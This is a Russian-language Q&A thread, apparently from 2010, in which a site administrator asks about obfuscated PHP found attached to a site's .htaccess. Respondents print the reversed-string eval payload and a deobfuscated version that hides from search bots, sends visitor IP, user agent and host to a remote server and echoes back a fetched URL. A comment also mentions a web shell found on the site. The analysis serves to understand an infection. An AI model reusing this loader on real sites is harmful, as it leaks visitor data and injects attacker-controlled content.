Сегодня утром обнаружил код, закодированный на нескольких уровнях, прикрепленный к веб-сайту, который я администрирую .htaccess. Код гласит:

function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif@ = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes@ { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));

Ясно, что детали функции написаны в обратном порядке. Похоже, он отправляет информацию журнала на удаленный сервер. Кто-нибудь знаком с этим кодом или что он делает?

1
sudocity 27 Окт 2010 в 20:02

2 ответа

Лучший ответ

Похоже на довольно сильно запутанный код отслеживания статистики, но я более склонен сказать, что это вредоносный. s37, как уже отмечалось, переворачивает строку:

function s37($s)
{
    $e = "";
    for ($a = 0; $a <= strlen($s)-1; $a++ )
    {
        $e .= $s{strlen($s)-$a-1};
    }
    return($e);
}

Это, в свою очередь, генерирует следующий код:

$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{

}
else
{
    @setcookie($z37,md5("stats"),time()+10800);
    $url = @file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
    if (strstr($url,"!go!"))
    {
        $url = explode("!go!",$url);
        $url = $url[1];
        echo $url;

    }

}

Соответствие "пользователь-агент" не позволяет ботам поисковых систем запускать код. В противном случае для браузеров устанавливается cookie, затем некоторый код загружается с удаленного сервера и выводится эхом. Трудно определить цель загруженного кода без дополнительной информации.

1
Wyatt Anderson 27 Окт 2010 в 21:19

Функция s37 меняет указанную строку на обратную. функция s37 doe используется только для первой части строки кода ...

0
Oliver 27 Окт 2010 в 20:07
Да, похоже, это правда. Так что, возможно, правильный вопрос: что делает полный блок кода?
 – 
sudocity
27 Окт 2010 в 20:13
Это своего рода сбор статистики. Возможно, я ошибся, но похоже, что статистика отправляется на inininininininin.in/in.php
 – 
Oliver
27 Окт 2010 в 20:32
Да, и он проверяет наличие ответа, и если ответ содержит URL-адрес и текст "! Go!" он печатает этот URL. Это довольно странный сценарий ...
 – 
Oliver
27 Окт 2010 в 20:37
Я нашел больше файлов, разбросанных по сайту, с которыми это может быть связано. Они называются "google [RANDOMNUMBERSLETTERS] .php". Случайные числа и буквы на самом деле представляют собой что-то вроде 06f114f62492. Я мог бы скопировать его здесь, но он довольно длинный. Начинается с «<? Php # Web Shell by boff», а домен ссылается на «exploit-db.com». Кажется, это черный ход.
 – 
sudocity
27 Окт 2010 в 21:35